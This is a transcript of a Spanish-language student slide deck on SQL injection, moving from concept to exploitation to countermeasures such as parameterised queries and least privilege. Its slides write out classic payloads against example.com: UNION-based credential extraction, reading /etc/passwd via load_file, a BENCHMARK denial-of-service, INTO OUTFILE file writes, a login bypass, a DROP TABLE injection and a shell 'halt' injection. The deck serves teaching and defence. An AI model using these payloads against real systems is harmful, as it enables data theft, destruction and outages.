inyecciones sql para todos
TRANSCRIPT
Cesar NeiraEstudiante de Ing. Sistemas
Aula H4X0RC
esa
r Neira
Inyecciones SQLpara todos
Introducción, explotación y contramedidas.
OWASP Top 10 2004
OWASP Top 10 2004
OWASP Top 10 2007
OWASP Top 10 2007
OWASP Top 10 2010
OWASP Top 10 2010
MITRE – Top 25
MITRE – Top 25
¿Qué está pasando?
¿Qué es una Inyección SQL?
Fallo de inyección
Un interprete ejecuta una instrucción enviada por la aplicación.
La aplicación forma la instrucción con entradas del usuario.
El usuario envía entradas especialmente diseñadas para alterar el significado de la instrucción
Por ejemplo:
PROGRAMA : system(“ls $dir”);ENTRADA : $dirINTERPRETE : /bin/bash
$dir = “images”Instrucción: $ ls imagesHacer un listado del directorio “images”
$dir = “images && halt”Instrucción: $ ls images && haltHacer un listado del directorio “images” y luego apagar el sistema.
Lenguaje SQL
Structured Query Language (lenguaje de consulta estructurado)
Permite realizar diversas operaciones sobre bases de datos relacionales.
Es interpretado por el DBMS.
Existen dialectos específicos para cada DBMS.
Ejemplos de SQL
SELECT email FROM users;
SELECT username,password FROM users WHERE type=1;
admin 123456
SQLi = Injection + SQL
Error de validación de entradas.
Permite alterar las consultas SQL.
No es un error del DBMS.
No es exclusivo de aplicaciones web.
INTERPRETE : DBMSLENGUAJE : SQL
¿Cómo?
Caja Negra
index.php
page=news
id=23
http://example.com/index.php?page=news&id=23
Arquitectura
INTERNET
CLIENTE
SERVIDOR
BASE DE DATOS
HTTP
SQL
User: pepito
http://example.com/news.php?id=23
/* news.php */...$id = $_GET['id'];$query = "SELECT * FROM news WHERE id=$id";...
SELECT * FROM news WHERE id=23
User: Z3r0C001-H@...
http://example.com/news.php?id=23 OR 1=1
/* news.php */...$id = $_GET['id'];$query = "SELECT * FROM news WHERE id=$id";...
SELECT * FROM news WHERE id=23 OR 1=1
¿Y qué?
Extracción de Datos
SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users
http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users
UNION SELECT
DEMO 1
Extracción de ficheros
LOAD_FILE()
SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users
http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users
DEMO 2
Ataques DoS
#RefRef
BENCHMARK()
SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
DEMO 3
File Upload
OUTFILE / DUMPFILE
SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'
http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'
DEMO 4
xp_cmdshell
MSF - webpayloads
DEMO 5
Login Bypass
Login Bypass
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '' = ''
/* login.php */...$user = $_POST['username'];$pass = $_POST['password'];$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";...
Por ejemplo...
Ataque Boby Tables
Ataque Boby Tables
SELECT * FROM users WHERE username = ''; DROP TABLE users;--' AND password = ''
/* login.php */...$user = $_POST['username'];$pass = $_POST['password'];$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";...
Y hay más...
Oh, y ahora ¿Quiénpodrá defendernos?
Validación de entradas
- Expresiones regulares
- Validación de tipo
- Escapar caracteres especiales
- Librerías de seguridad ESAPI
No solo JavaScript
ConsultasParametrizadas
Definir primero la consulta y luego pasarle los parámetros.
- Prepared Statements.
- Storage Procedures.
Permisos de Acceso
- Las aplicaciones no necesitan la cuenta de administrador.
- GRANT ALL PRIV... ¿Es necesario?
- Aplicaciones diferentes, usuarios diferentes
IDS, IPS, WAF, etc...
- Sistemas de detección y prevención de intrusos. (Snort)
- Web Application Firewall. (mod_security)
- Reescritura de solicitudes HTTP. (mod_rewrite)
- Basados en patrones.
- No 100% confiables.
Gracias por participarmuy pronto estamos en provincias
para más información ingresa a nuestra web
En el 2012 mucho más de nosotros…
http://alguienenlafisi.blogspot.com